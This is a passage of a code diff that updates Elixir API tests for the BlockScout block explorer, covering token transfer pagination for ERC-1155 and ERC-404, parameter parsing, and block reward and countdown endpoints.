+ assert Enum.at(token_transfers_1, 48)["tokenValue"] == + to_string(Enum.at(Enum.at(erc_1155_tt_reversed, 24).amounts, 1)) + + assert Enum.at(token_transfers_1, 49)["hash"] == to_string(Enum.at(erc_1155_tt_reversed, 24).transaction_hash) + + assert Enum.at(token_transfers_1, 49)["tokenID"] == + to_string(Enum.at(Enum.at(erc_1155_tt_reversed, 24).token_ids, 0)) + + assert Enum.at(token_transfers_1, 49)["tokenValue"] == + to_string(Enum.at(Enum.at(erc_1155_tt_reversed, 24).amounts, 0)) + + assert Enum.at(token_transfers_2, 0)["hash"] == to_string(Enum.at(erc_1155_tt_reversed, 25).transaction_hash) + + assert Enum.at(token_transfers_2, 0)["tokenID"] == + to_string(Enum.at(Enum.at(erc_1155_tt_reversed, 25).token_ids, 1)) + + assert Enum.at(token_transfers_2, 0)["tokenValue"] == + to_string(Enum.at(Enum.at(erc_1155_tt_reversed, 25).amounts, 1)) + + assert Enum.at(token_transfers_2, 1)["hash"] == to_string(Enum.at(erc_1155_tt_reversed, 25).transaction_hash) + + assert Enum.at(token_transfers_2, 1)["tokenID"] == + to_string(Enum.at(Enum.at(erc_1155_tt_reversed, 25).token_ids, 0)) + + assert Enum.at(token_transfers_2, 1)["tokenValue"] == + to_string(Enum.at(Enum.at(erc_1155_tt_reversed, 25).amounts, 0)) + + assert Enum.at(token_transfers_2, 48)["hash"] == to_string(Enum.at(erc_1155_tt_reversed, 49).transaction_hash) + + assert Enum.at(token_transfers_2, 48)["tokenID"] == + to_string(Enum.at(Enum.at(erc_1155_tt_reversed, 49).token_ids, 1)) + + assert Enum.at(token_transfers_2, 48)["tokenValue"] == + to_string(Enum.at(Enum.at(erc_1155_tt_reversed, 49).amounts, 1)) + + assert Enum.at(token_transfers_2, 49)["hash"] == to_string(Enum.at(erc_1155_tt_reversed, 49).transaction_hash) + + assert Enum.at(token_transfers_2, 49)["tokenID"] == + to_string(Enum.at(Enum.at(erc_1155_tt_reversed, 49).token_ids, 0)) + + assert Enum.at(token_transfers_2, 49)["tokenValue"] == + to_string(Enum.at(Enum.at(erc_1155_tt_reversed, 49).amounts, 0)) + + assert Enum.at(token_transfers_3, 0)["hash"] == to_string(Enum.at(erc_1155_tt_reversed, 50).transaction_hash) + + assert Enum.at(token_transfers_3, 0)["tokenID"] == + to_string(Enum.at(Enum.at(erc_1155_tt_reversed, 50).token_ids, 1)) + + assert Enum.at(token_transfers_3, 0)["tokenValue"] == + to_string(Enum.at(Enum.at(erc_1155_tt_reversed, 50).amounts, 1)) + + assert Enum.at(token_transfers_3, 1)["hash"] == to_string(Enum.at(erc_1155_tt_reversed, 50).transaction_hash) + + assert Enum.at(token_transfers_3, 1)["tokenID"] == + to_string(Enum.at(Enum.at(erc_1155_tt_reversed, 50).token_ids, 0)) + + assert Enum.at(token_transfers_3, 1)["tokenValue"] == + to_string(Enum.at(Enum.at(erc_1155_tt_reversed, 50).amounts, 0)) + + assert Enum.count(token_transfers_3) == 2 + end + end + + describe "token404tx" do + setup do + %{params: %{"module" => "account", "action" => "token404tx"}} + end + + test "works before denormalization finished and after", %{conn: conn, params: params} do + old_tt_denormalization_finished = BackgroundMigrations.get_tt_denormalization_finished() + + on_exit(fn -> + BackgroundMigrations.set_tt_denormalization_finished(old_tt_denormalization_finished) + end) + + address = insert(:address) + + transaction = + :transaction + |> insert(from_address: address) + |> with_block() + + token = insert(:token, name: "NFT", type: "ERC-404") + + insert(:token_transfer, + transaction: transaction, + token_type: token.type, + from_address: address, + block_number: transaction.block_number, + token_contract_address: token.contract_address, + token_type: token.type, + token_ids: [10], + amounts: [] + ) + + insert(:token_transfer, + transaction: transaction, + token_type: token.type, + from_address: address, + block_number: transaction.block_number, + token_contract_address: token.contract_address, + token_type: token.type, + token_ids: [], + amounts: [20] + ) + + new_params = + params + |> Map.put("address", Explorer.Chain.Hash.to_string(address.hash)) + + BackgroundMigrations.set_tt_denormalization_finished(false) + + response = + conn + |> get("/api", new_params) + + assert response.status == 200 + + BackgroundMigrations.set_tt_denormalization_finished(true) + + response = + conn + |> get("/api", new_params) + + assert response.status == 200 + end + + test "with missing address and contract address hash", %{conn: conn, params: params} do + assert response = + conn + |> get("/api", params) + |> json_response(200) + + assert response["message"] == "Query parameter address or contractaddress is required" assert response["status"] == "0" assert Map.has_key?(response, "result") refute response["result"] assert :ok = ExJsonSchema.Validator.validate(tokentx_schema(), response) end - test "with an invalid address hash", %{conn: conn} do - params = %{ - "module" => "account", - "action" => "tokentx", - "address" => "badhash" - } + test "with an invalid address hash", %{conn: conn, params: params} do + params = Map.merge(params, %{"address" => "badhash"}) assert response = conn @@ -2191,12 +3923,8 @@ defmodule BlockScoutWeb.API.RPC.AddressControllerTest do assert :ok = ExJsonSchema.Validator.validate(tokentx_schema(), response) end - test "with an address that doesn't exist", %{conn: conn} do - params = %{ - "module" => "account", - "action" => "tokentx", - "address" => "0x8bf38d4764929064f2d4d3a56520a76ab3df415b" - } + test "with an address that doesn't exist", %{conn: conn, params: params} do + params = Map.merge(params, %{"address" => "0x8bf38d4764929064f2d4d3a56520a76ab3df415b"}) assert response = conn @@ -2209,31 +3937,57 @@ defmodule BlockScoutWeb.API.RPC.AddressControllerTest do assert :ok = ExJsonSchema.Validator.validate(tokentx_schema(), response) end - test "has correct value for ERC-721", %{conn: conn} do + test "with an invalid contract address", %{conn: conn, params: params} do + params = + Map.merge(params, %{"address" => "0x8bf38d4764929064f2d4d3a56520a76ab3df415b", "contractaddress" => "invalid"}) + + assert response = + conn + |> get("/api", params) + |> json_response(200) + + assert response["message"] =~ "Invalid contract address format" + assert response["status"] == "0" + assert Map.has_key?(response, "result") + refute response["result"] + assert :ok = ExJsonSchema.Validator.validate(tokentx_schema(), response) + end + + test "filters results by contract address", %{conn: conn, params: params} do + address = insert(:address) + + contract_address = insert(:contract_address) + + insert(:token, contract_address: contract_address, type: "ERC-404") + transaction = :transaction |> insert() |> with_block() - token_address = insert(:contract_address) - insert(:token, %{contract_address: token_address, type: "ERC-721"}) - - token_transfer = - insert(:token_transfer, %{ - token_contract_address: token_address, - token_id: 666, - transaction: transaction, - block: transaction.block, - block_number: transaction.block_number - }) + insert(:token_transfer, + from_address: address, + transaction: transaction, + block: transaction.block, + block_number: transaction.block_number, + token_type: "ERC-404", + token_ids: [1], + amounts: [] + ) - {:ok, _} = Chain.token_from_address_hash(token_transfer.token_contract_address_hash) + insert(:token_transfer, + from_address: address, + token_contract_address: contract_address, + transaction: transaction, + block: transaction.block, + block_number: transaction.block_number, + token_ids: [], + amounts: [1], + token_type: "ERC-404" + ) - params = %{ - "module" => "account", - "action" => "tokentx", - "address" => to_string(token_transfer.from_address.hash) - } + params = + Map.merge(params, %{"address" => to_string(address.hash), "contractaddress" => to_string(contract_address.hash)}) assert response = %{"result" => [result]} = @@ -2241,41 +3995,49 @@ defmodule BlockScoutWeb.API.RPC.AddressControllerTest do |> get("/api", params) |> json_response(200) - assert result["tokenID"] == to_string(token_transfer.token_id) + assert result["contractAddress"] == to_string(contract_address.hash) assert response["status"] == "1" assert response["message"] == "OK" assert :ok = ExJsonSchema.Validator.validate(tokentx_schema(), response) end - test "returns all the required fields", %{conn: conn} do + test "returns all the required fields", %{conn: conn, params: params} do + address = insert(:address) + + contract_address = insert(:contract_address) + + token = insert(:token, contract_address: contract_address, type: "ERC-404") + transaction = - %{block: block} = :transaction |> insert() |> with_block() token_transfer = - insert(:token_transfer, block: transaction.block, transaction: transaction, block_number: block.number) - - {:ok, token} = Chain.token_from_address_hash(token_transfer.token_contract_address_hash) + insert(:token_transfer, + from_address: address, + token_contract_address: contract_address, + transaction: transaction, + block: transaction.block, + block_number: transaction.block_number, + token_ids: [], + amounts: [1], + token_type: token.type + ) - params = %{ - "module" => "account", - "action" => "tokentx", - "address" => to_string(token_transfer.from_address.hash) - } + params = + Map.merge(params, %{"address" => to_string(address.hash), "contractaddress" => to_string(contract_address.hash)}) expected_result = [ %{ "blockNumber" => to_string(transaction.block_number), - "timeStamp" => to_string(DateTime.to_unix(block.timestamp)), + "timeStamp" => to_string(DateTime.to_unix(transaction.block.timestamp)), "hash" => to_string(token_transfer.transaction_hash), "nonce" => to_string(transaction.nonce), - "blockHash" => to_string(block.hash), + "blockHash" => to_string(transaction.block.hash), "from" => to_string(token_transfer.from_address_hash), "contractAddress" => to_string(token_transfer.token_contract_address_hash), "to" => to_string(token_transfer.to_address_hash), - "value" => to_string(token_transfer.amount), "tokenName" => token.name, "tokenSymbol" => token.symbol, "tokenDecimal" => to_string(token.decimals), @@ -2284,9 +4046,12 @@ defmodule BlockScoutWeb.API.RPC.AddressControllerTest do "gasPrice" => to_string(transaction.gas_price.value), "gasUsed" => to_string(transaction.gas_used), "cumulativeGasUsed" => to_string(transaction.cumulative_gas_used), - "logIndex" => to_string(token_transfer.log_index), "input" => to_string(transaction.input), - "confirmations" => "0" + "confirmations" => "0", + "tokenID" => "", + "value" => "1", + "functionName" => "", + "methodId" => "" } ] @@ -2301,70 +4066,192 @@ defmodule BlockScoutWeb.API.RPC.AddressControllerTest do assert :ok = ExJsonSchema.Validator.validate(tokentx_schema(), response) end - test "with an invalid contract address", %{conn: conn} do - params = %{ - "module" => "account", - "action" => "tokentx", - "address" => "0x8bf38d4764929064f2d4d3a56520a76ab3df415b", - "contractaddress" => "invalid" - } + test "check pagination and ordering (page, offset, sort parameters)", %{conn: conn, params: params} do + address = insert(:address) - assert response = + erc_404_token = insert(:token, type: "ERC-404") + + erc_404_tt = + for x <- 0..50 do + transaction = insert(:transaction, input: "0xabcd010203040506") |> with_block() + + [ + insert(:token_transfer, + transaction: transaction, + block: transaction.block, + block_number: transaction.block_number, + from_address: address, + token_type: erc_404_token.type, + token_contract_address: erc_404_token.contract_address, + token_ids: [x], + amounts: [] + ), + insert(:token_transfer, + transaction: transaction, + block: transaction.block, + block_number: transaction.block_number, + from_address: address, + token_type: erc_404_token.type, + token_contract_address: erc_404_token.contract_address, + token_ids: [], + amounts: [x + 100] + ) + ] + end + |> List.flatten() + + # sort: asc + params = Map.merge(params, %{"address" => to_string(address.hash), "offset" => 50, "page" => 1, "sort" => "asc"}) + + assert %{"result" => token_transfers_1} = conn |> get("/api", params) |> json_response(200) - assert response["message"] =~ "Invalid contract address format" - assert response["status"] == "0" - assert Map.has_key?(response, "result") - refute response["result"] - assert :ok = ExJsonSchema.Validator.validate(tokentx_schema(), response) - end + params = Map.merge(params, %{"address" => to_string(address.hash), "offset" => 50, "page" => 2, "sort" => "asc"}) - test "filters results by contract address", %{conn: conn} do - address = insert(:address) + assert %{"result" => token_transfers_2} = + conn + |> get("/api", params) + |> json_response(200) - contract_address = insert(:contract_address) + params = Map.merge(params, %{"address" => to_string(address.hash), "offset" => 50, "page" => 3, "sort" => "asc"}) - insert(:token, contract_address: contract_address) + assert %{"result" => token_transfers_3} = + conn + |> get("/api", params) + |> json_response(200) - transaction = - :transaction - |> insert() - |> with_block() + assert Enum.at(token_transfers_1, 0)["hash"] == to_string(Enum.at(erc_404_tt, 0).transaction_hash) + assert Enum.at(token_transfers_1, 0)["tokenID"] == to_string(Enum.at(Enum.at(erc_404_tt, 0).token_ids, 0)) + assert Enum.at(token_transfers_1, 0)["value"] == "" + assert Enum.at(token_transfers_1, 1)["hash"] == to_string(Enum.at(erc_404_tt, 1).transaction_hash) + assert Enum.at(token_transfers_1, 1)["tokenID"] == "" + assert Enum.at(token_transfers_1, 1)["value"] == to_string(Enum.at(Enum.at(erc_404_tt, 1).amounts, 0)) + + assert Enum.at(token_transfers_1, 48)["hash"] == to_string(Enum.at(erc_404_tt, 48).transaction_hash) + assert Enum.at(token_transfers_1, 48)["tokenID"] == to_string(Enum.at(Enum.at(erc_404_tt, 48).token_ids, 0)) + assert Enum.at(token_transfers_1, 48)["value"] == "" + assert Enum.at(token_transfers_1, 49)["hash"] == to_string(Enum.at(erc_404_tt, 49).transaction_hash) + assert Enum.at(token_transfers_1, 49)["tokenID"] == "" + assert Enum.at(token_transfers_1, 49)["value"] == to_string(Enum.at(Enum.at(erc_404_tt, 49).amounts, 0)) + + assert Enum.at(token_transfers_2, 0)["hash"] == to_string(Enum.at(erc_404_tt, 50).transaction_hash) + assert Enum.at(token_transfers_2, 0)["tokenID"] == to_string(Enum.at(Enum.at(erc_404_tt, 50).token_ids, 0)) + assert Enum.at(token_transfers_2, 0)["value"] == "" + assert Enum.at(token_transfers_2, 1)["hash"] == to_string(Enum.at(erc_404_tt, 51).transaction_hash) + assert Enum.at(token_transfers_2, 1)["tokenID"] == "" + assert Enum.at(token_transfers_2, 1)["value"] == to_string(Enum.at(Enum.at(erc_404_tt, 51).amounts, 0)) + + assert Enum.at(token_transfers_2, 48)["hash"] == to_string(Enum.at(erc_404_tt, 98).transaction_hash) + assert Enum.at(token_transfers_2, 48)["tokenID"] == to_string(Enum.at(Enum.at(erc_404_tt, 98).token_ids, 0)) + assert Enum.at(token_transfers_2, 48)["value"] == "" + assert Enum.at(token_transfers_2, 49)["hash"] == to_string(Enum.at(erc_404_tt, 99).transaction_hash) + assert Enum.at(token_transfers_2, 49)["tokenID"] == "" + assert Enum.at(token_transfers_2, 49)["value"] == to_string(Enum.at(Enum.at(erc_404_tt, 99).amounts, 0)) + + assert Enum.at(token_transfers_3, 0)["hash"] == to_string(Enum.at(erc_404_tt, 100).transaction_hash) + assert Enum.at(token_transfers_3, 0)["tokenID"] == to_string(Enum.at(Enum.at(erc_404_tt, 100).token_ids, 0)) + assert Enum.at(token_transfers_3, 0)["value"] == "" + assert Enum.at(token_transfers_3, 1)["hash"] == to_string(Enum.at(erc_404_tt, 101).transaction_hash) + assert Enum.at(token_transfers_3, 1)["tokenID"] == "" + assert Enum.at(token_transfers_3, 1)["value"] == to_string(Enum.at(Enum.at(erc_404_tt, 101).amounts, 0)) + + assert Enum.count(token_transfers_3) == 2 + + # sort: desc + erc_404_tt_reversed = Enum.reverse(erc_404_tt) + + params = Map.merge(params, %{"address" => to_string(address.hash), "offset" => 50, "page" => 1, "sort" => "desc"}) + + assert %{"result" => token_transfers_1} = + conn + |> get("/api", params) + |> json_response(200) - insert(:token_transfer, - from_address: address, - transaction: transaction, - block: transaction.block, - block_number: transaction.block_number - ) + params = Map.merge(params, %{"address" => to_string(address.hash), "offset" => 50, "page" => 2, "sort" => "desc"}) - insert(:token_transfer, - from_address: address, - token_contract_address: contract_address, - transaction: transaction, - block: transaction.block, - block_number: transaction.block_number - ) + assert %{"result" => token_transfers_2} = + conn + |> get("/api", params) + |> json_response(200) - params = %{ - "module" => "account", - "action" => "tokentx", - "address" => to_string(address.hash), - "contractaddress" => to_string(contract_address.hash) - } + params = Map.merge(params, %{"address" => to_string(address.hash), "offset" => 50, "page" => 3, "sort" => "desc"}) - assert response = - %{"result" => [result]} = + assert %{"result" => token_transfers_3} = conn |> get("/api", params) |> json_response(200) - assert result["contractAddress"] == to_string(contract_address.hash) - assert response["status"] == "1" - assert response["message"] == "OK" - assert :ok = ExJsonSchema.Validator.validate(tokentx_schema(), response) + assert Enum.at(token_transfers_1, 0)["hash"] == to_string(Enum.at(erc_404_tt_reversed, 0).transaction_hash) + + assert Enum.at(token_transfers_1, 0)["tokenID"] == "" + + assert Enum.at(token_transfers_1, 0)["value"] == + to_string(Enum.at(Enum.at(erc_404_tt_reversed, 0).amounts, 0)) + + assert Enum.at(token_transfers_1, 1)["hash"] == to_string(Enum.at(erc_404_tt_reversed, 1).transaction_hash) + + assert Enum.at(token_transfers_1, 1)["tokenID"] == + to_string(Enum.at(Enum.at(erc_404_tt_reversed, 1).token_ids, 0)) + + assert Enum.at(token_transfers_1, 1)["value"] == "" + + assert Enum.at(token_transfers_1, 48)["hash"] == to_string(Enum.at(erc_404_tt_reversed, 48).transaction_hash) + + assert Enum.at(token_transfers_1, 48)["tokenID"] == "" + + assert Enum.at(token_transfers_1, 48)["value"] == to_string(Enum.at(Enum.at(erc_404_tt_reversed, 48).amounts, 0)) + + assert Enum.at(token_transfers_1, 49)["hash"] == to_string(Enum.at(erc_404_tt_reversed, 49).transaction_hash) + + assert Enum.at(token_transfers_1, 49)["tokenID"] == + to_string(Enum.at(Enum.at(erc_404_tt_reversed, 49).token_ids, 0)) + + assert Enum.at(token_transfers_1, 49)["value"] == "" + + assert Enum.at(token_transfers_2, 0)["hash"] == to_string(Enum.at(erc_404_tt_reversed, 50).transaction_hash) + + assert Enum.at(token_transfers_2, 0)["tokenID"] == "" + + assert Enum.at(token_transfers_2, 0)["value"] == + to_string(Enum.at(Enum.at(erc_404_tt_reversed, 50).amounts, 0)) + + assert Enum.at(token_transfers_2, 1)["hash"] == to_string(Enum.at(erc_404_tt_reversed, 51).transaction_hash) + + assert Enum.at(token_transfers_2, 1)["tokenID"] == + to_string(Enum.at(Enum.at(erc_404_tt_reversed, 51).token_ids, 0)) + + assert Enum.at(token_transfers_2, 1)["value"] == "" + + assert Enum.at(token_transfers_2, 48)["hash"] == to_string(Enum.at(erc_404_tt_reversed, 98).transaction_hash) + + assert Enum.at(token_transfers_2, 48)["tokenID"] == "" + + assert Enum.at(token_transfers_2, 48)["value"] == + to_string(Enum.at(Enum.at(erc_404_tt_reversed, 98).amounts, 0)) + + assert Enum.at(token_transfers_2, 49)["hash"] == to_string(Enum.at(erc_404_tt_reversed, 99).transaction_hash) + + assert Enum.at(token_transfers_2, 49)["tokenID"] == + to_string(Enum.at(Enum.at(erc_404_tt_reversed, 99).token_ids, 0)) + + assert Enum.at(token_transfers_2, 49)["value"] == "" + + assert Enum.at(token_transfers_3, 0)["hash"] == to_string(Enum.at(erc_404_tt_reversed, 100).transaction_hash) + + assert Enum.at(token_transfers_3, 0)["tokenID"] == "" + + assert Enum.at(token_transfers_3, 0)["value"] == + to_string(Enum.at(Enum.at(erc_404_tt_reversed, 100).amounts, 0)) + + assert Enum.at(token_transfers_3, 1)["hash"] == to_string(Enum.at(erc_404_tt_reversed, 101).transaction_hash) + + assert Enum.at(token_transfers_3, 1)["tokenID"] == + to_string(Enum.at(Enum.at(erc_404_tt_reversed, 101).token_ids, 0)) + + assert Enum.at(token_transfers_3, 1)["value"] == "" + assert(Enum.count(token_transfers_3) == 2) end end @@ -2837,12 +4724,12 @@ defmodule BlockScoutWeb.API.RPC.AddressControllerTest do "page" => "1", # page size "offset" => "2", - "filterby" => "to", - "starttimestamp" => "1539186474", - "endtimestamp" => "1539186474" + "filter_by" => "to", + "start_timestamp" => "1539186474", + "end_timestamp" => "1539186474" } - optional_params = AddressController.optional_params(params) + {:ok, optional_params} = AddressController.optional_params(params) # 1539186474 equals "2018-10-10 15:47:54Z" {:ok, expected_timestamp, _} = DateTime.from_iso8601("2018-10-10 15:47:54Z") @@ -2850,8 +4737,8 @@ defmodule BlockScoutWeb.API.RPC.AddressControllerTest do assert optional_params.page_number == 1 assert optional_params.page_size == 2 assert optional_params.order_by_direction == :asc - assert optional_params.start_block == 100 - assert optional_params.end_block == 120 + assert optional_params.startblock == 100 + assert optional_params.endblock == 120 assert optional_params.filter_by == "to" assert optional_params.start_timestamp == expected_timestamp assert optional_params.end_timestamp == expected_timestamp @@ -2860,41 +4747,41 @@ defmodule BlockScoutWeb.API.RPC.AddressControllerTest do test "'sort' values can be 'asc' or 'desc'" do params1 = %{"sort" => "asc"} - optional_params = AddressController.optional_params(params1) + {:ok, optional_params} = AddressController.optional_params(params1) assert optional_params.order_by_direction == :asc params2 = %{"sort" => "desc"} - optional_params = AddressController.optional_params(params2) + {:ok, optional_params} = AddressController.optional_params(params2) assert optional_params.order_by_direction == :desc params3 = %{"sort" => "invalid"} - assert AddressController.optional_params(params3) == %{} + assert AddressController.optional_params(params3) == {:ok, %{}} end - test "'filterby' value can be 'to' or 'from'" do - params1 = %{"filterby" => "to"} + test "'filter_by' value can be 'to' or 'from'" do + params1 = %{"filter_by" => "to"} - optional_params1 = AddressController.optional_params(params1) + {:ok, optional_params1} = AddressController.optional_params(params1) assert optional_params1.filter_by == "to" - params2 = %{"filterby" => "from"} + params2 = %{"filter_by" => "from"} - optional_params2 = AddressController.optional_params(params2) + {:ok, optional_params2} = AddressController.optional_params(params2) assert optional_params2.filter_by == "from" - params3 = %{"filterby" => "invalid"} + params3 = %{"filter_by" => "invalid"} - assert AddressController.optional_params(params3) == %{} + assert AddressController.optional_params(params3) == {:ok, %{}} end test "only includes optional params when they're given" do - assert AddressController.optional_params(%{}) == %{} + assert AddressController.optional_params(%{}) == {:ok, %{}} end test "ignores invalid optional params, keeps valid ones" do @@ -2904,11 +4791,11 @@ defmodule BlockScoutWeb.API.RPC.AddressControllerTest do "sort" => "invalid", "page" => "invalid", "offset" => "invalid", - "starttimestamp" => "invalid", - "endtimestamp" => "invalid" + "start_timestamp" => "invalid", + "end_timestamp" => "invalid" } - assert AddressController.optional_params(params1) == %{} + assert AddressController.optional_params(params1) == {:ok, %{}} params2 = %{ "startblock" => "4", @@ -2916,32 +4803,32 @@ defmodule BlockScoutWeb.API.RPC.AddressControllerTest do "sort" => "invalid", "page" => "invalid", "offset" => "invalid", - "starttimestamp" => "invalid", - "endtimestamp" => "invalid" + "start_timestamp" => "invalid", + "end_timestamp" => "invalid" } - optional_params = AddressController.optional_params(params2) + {:ok, optional_params} = AddressController.optional_params(params2) - assert optional_params.start_block == 4 - assert optional_params.end_block == 10 + assert optional_params.startblock == 4 + assert optional_params.endblock == 10 end test "ignores 'page' if less than 1" do params = %{"page" => "0"} - assert AddressController.optional_params(params) == %{} + assert AddressController.optional_params(params) == {:ok, %{}} end test "ignores 'offset' if less than 1" do params = %{"offset" => "0"} - assert AddressController.optional_params(params) == %{} + assert AddressController.optional_params(params) == {:ok, %{}} end test "ignores 'offset' if more than 10,000" do params = %{"offset" => "10001"} - assert AddressController.optional_params(params) == %{} + assert AddressController.optional_params(params) == {:ok, %{}} end end diff --git a/apps/block_scout_web/test/block_scout_web/controllers/api/rpc/block_controller_test.exs b/apps/block_scout_web/test/block_scout_web/controllers/api/rpc/block_controller_test.exs index 70e9726fe7cc..e9af24b278ef 100644 --- a/apps/block_scout_web/test/block_scout_web/controllers/api/rpc/block_controller_test.exs +++ b/apps/block_scout_web/test/block_scout_web/controllers/api/rpc/block_controller_test.exs @@ -1,8 +1,9 @@ defmodule BlockScoutWeb.API.RPC.BlockControllerTest do use BlockScoutWeb.ConnCase - alias Explorer.Chain.{Hash, Wei} alias BlockScoutWeb.Chain + alias Explorer.Chain.{Hash, Wei} + alias Explorer.Chain.Cache.Counters.AverageBlockTime describe "getblockreward" do test "with missing block number", %{conn: conn} do @@ -15,7 +16,7 @@ defmodule BlockScoutWeb.API.RPC.BlockControllerTest do assert response["status"] == "0" assert Map.has_key?(response, "result") refute response["result"] - schema = resolve_schema() + schema = resolve_getblockreward_schema() assert :ok = ExJsonSchema.Validator.validate(schema, response) end @@ -29,7 +30,7 @@ defmodule BlockScoutWeb.API.RPC.BlockControllerTest do assert response["status"] == "0" assert Map.has_key?(response, "result") refute response["result"] - schema = resolve_schema() + schema = resolve_getblockreward_schema() assert :ok = ExJsonSchema.Validator.validate(schema, response) end @@ -43,7 +44,7 @@ defmodule BlockScoutWeb.API.RPC.BlockControllerTest do assert response["status"] == "0" assert Map.has_key?(response, "result") refute response["result"] - schema = resolve_schema() + schema = resolve_getblockreward_schema() assert :ok = ExJsonSchema.Validator.validate(schema, response) end @@ -59,15 +60,16 @@ defmodule BlockScoutWeb.API.RPC.BlockControllerTest do emission_reward.reward |> Wei.to(:wei) |> Decimal.add(Decimal.new(1)) - |> Decimal.to_string(:normal) + + insert(:reward, address_hash: block.miner_hash, block_hash: block.hash, reward: expected_reward) expected_result = %{ "blockNumber" => "#{block.number}", "timeStamp" => DateTime.to_unix(block.timestamp), "blockMiner" => Hash.to_string(block.miner_hash), - "blockReward" => expected_reward, - "uncles" => nil, - "uncleInclusionReward" => nil + "blockReward" => expected_reward |> Decimal.to_string(:normal), + "uncles" => [], + "uncleInclusionReward" => "0" } assert response = @@ -78,7 +80,136 @@ defmodule BlockScoutWeb.API.RPC.BlockControllerTest do assert response["result"] == expected_result assert response["status"] == "1" assert response["message"] == "OK" - schema = resolve_schema() + schema = resolve_getblockreward_schema() + assert :ok = ExJsonSchema.Validator.validate(schema, response) + end + + test "with a valid block and uncles", %{conn: conn} do + %{block_range: range} = emission_reward = insert(:emission_reward) + block = insert(:block, number: Enum.random(Range.new(range.from + 2, range.to))) + uncle1 = insert(:block, number: block.number - 1) + uncle2 = insert(:block, number: block.number - 2) + + insert(:block_second_degree_relation, nephew: block, uncle_hash: uncle1.hash, index: 0) + insert(:block_second_degree_relation, nephew: block, uncle_hash: uncle2.hash, index: 1) + + :transaction + |> insert(gas_price: 1) + |> with_block(block, gas_used: 1) + + decimal_emission_reward = Wei.to(emission_reward.reward, :wei) + + uncle1_reward = + decimal_emission_reward |> Decimal.div(8) |> Decimal.mult(Decimal.new(uncle1.number + 8 - block.number)) + + uncle2_reward = + decimal_emission_reward |> Decimal.div(8) |> Decimal.mult(Decimal.new(uncle2.number + 8 - block.number)) + + uncle_inclusion_reward = + decimal_emission_reward + |> Decimal.div(Decimal.new(32)) + |> Decimal.mult(Decimal.new(2)) + + block_reward = + decimal_emission_reward + |> Decimal.add(Decimal.new(1)) + |> Decimal.add(uncle_inclusion_reward) + + insert(:reward, address_hash: block.miner_hash, block_hash: block.hash, reward: block_reward) + + insert(:reward, + address_hash: uncle1.miner_hash, + block_hash: block.hash, + reward: uncle1_reward, + address_type: :uncle + ) + + insert(:reward, + address_hash: uncle2.miner_hash, + block_hash: block.hash, + reward: uncle2_reward, + address_type: :uncle + ) + + expected_result = %{ + "blockNumber" => "#{block.number}", + "timeStamp" => DateTime.to_unix(block.timestamp), + "blockMiner" => Hash.to_string(block.miner_hash), + "blockReward" => block_reward |> Decimal.to_string(:normal), + "uncles" => [ + %{ + "blockreward" => uncle1_reward |> Decimal.to_string(:normal), + "miner" => uncle1.miner_hash |> Hash.to_string(), + "unclePosition" => "0" + }, + %{ + "blockreward" => uncle2_reward |> Decimal.to_string(:normal), + "miner" => uncle2.miner_hash |> Hash.to_string(), + "unclePosition" => "1" + } + ], + "uncleInclusionReward" => "0" + } + + assert response = + conn + |> get("/api", %{"module" => "block", "action" => "getblockreward", "blockno" => "#{block.number}"}) + |> json_response(200) + + assert response["result"] == expected_result + assert response["status"] == "1" + assert response["message"] == "OK" + schema = resolve_getblockreward_schema() + assert :ok = ExJsonSchema.Validator.validate(schema, response) + end + end + + describe "getblockcountdown" do + setup do + start_supervised!(AverageBlockTime) + Application.put_env(:explorer, AverageBlockTime, enabled: true, cache_period: 1_800_000) + + on_exit(fn -> + Application.put_env(:explorer, AverageBlockTime, enabled: false, cache_period: 1_800_000) + end) + end + + test "returns countdown information when valid block number is provided", %{conn: conn} do + unsafe_target_block_number = "120" + current_block_number = 110 + average_block_time = 15 + remaining_blocks = 10 + + first_timestamp = Timex.now() + + for i <- 1..current_block_number do + insert(:block, number: i, timestamp: Timex.shift(first_timestamp, seconds: i * average_block_time)) + end + + AverageBlockTime.refresh() + + estimated_time_in_sec = Float.round(remaining_blocks * average_block_time * 1.0, 1) + + expected_result = %{ + "CurrentBlock" => "#{current_block_number}", + "CountdownBlock" => unsafe_target_block_number, + "RemainingBlock" => "#{remaining_blocks}", + "EstimateTimeInSec" => "#{estimated_time_in_sec}" + } + + response = + conn + |> get("/api", %{ + "module" => "block", + "action" => "getblockcountdown", + "blockno" => unsafe_target_block_number + }) + |> json_response(200) + + assert response["result"] == expected_result + assert response["status"] == "1" + assert response["message"] == "OK" + schema = resolve_getblockcountdown_schema() assert :ok = ExJsonSchema.Validator.validate(schema, response) end end @@ -94,7 +225,7 @@ defmodule BlockScoutWeb.API.RPC.BlockControllerTest do assert response["status"] == "0" assert Map.has_key?(response, "result") refute response["result"] - schema = resolve_schema() + schema = resolve_getblocknobytime_schema() assert :ok = ExJsonSchema.Validator.validate(schema, response) end @@ -108,7 +239,7 @@ defmodule BlockScoutWeb.API.RPC.BlockControllerTest do assert response["status"] == "0" assert Map.has_key?(response, "result") refute response["result"] - schema = resolve_schema() + schema = resolve_getblocknobytime_schema() assert :ok = ExJsonSchema.Validator.validate(schema, response) end @@ -127,7 +258,26 @@ defmodule BlockScoutWeb.API.RPC.BlockControllerTest do assert response["status"] == "0" assert Map.has_key?(response, "result") refute response["result"] - schema = resolve_schema() + schema = resolve_getblocknobytime_schema() + assert :ok = ExJsonSchema.Validator.validate(schema, response) + end + + test "with an excessively large timestamp param", %{conn: conn} do + response = + conn + |> get("/api", %{ + "module" => "block", + "action" => "getblocknobytime", + "timestamp" => "1000000000000000000000000", + "closest" => "before" + }) + |> json_response(200) + + assert response["message"] =~ "Invalid `timestamp` param" + assert response["status"] == "0" + assert Map.has_key?(response, "result") + refute response["result"] + schema = resolve_getblocknobytime_schema() assert :ok = ExJsonSchema.Validator.validate(schema, response) end @@ -146,7 +296,7 @@ defmodule BlockScoutWeb.API.RPC.BlockControllerTest do assert response["status"] == "0" assert Map.has_key?(response, "result") refute response["result"] - schema = resolve_schema() + schema = resolve_getblocknobytime_schema() assert :ok = ExJsonSchema.Validator.validate(schema, response) end @@ -161,10 +311,6 @@ defmodule BlockScoutWeb.API.RPC.BlockControllerTest do (timestamp_int + 1) |> to_string() - expected_result = %{ - "blockNumber" => "#{block.number}" - } - assert response = conn |> get("/api", %{ @@ -175,10 +321,12 @@ defmodule BlockScoutWeb.API.RPC.BlockControllerTest do }) |> json_response(200) - assert response["result"] == expected_result + # TODO: migrate to the following format in the next release + # assert response["result"] == "#{block.number}" + assert response["result"] == %{"blockNumber" => "#{block.number}"} assert response["status"] == "1" assert response["message"] == "OK" - schema = resolve_schema() + schema = 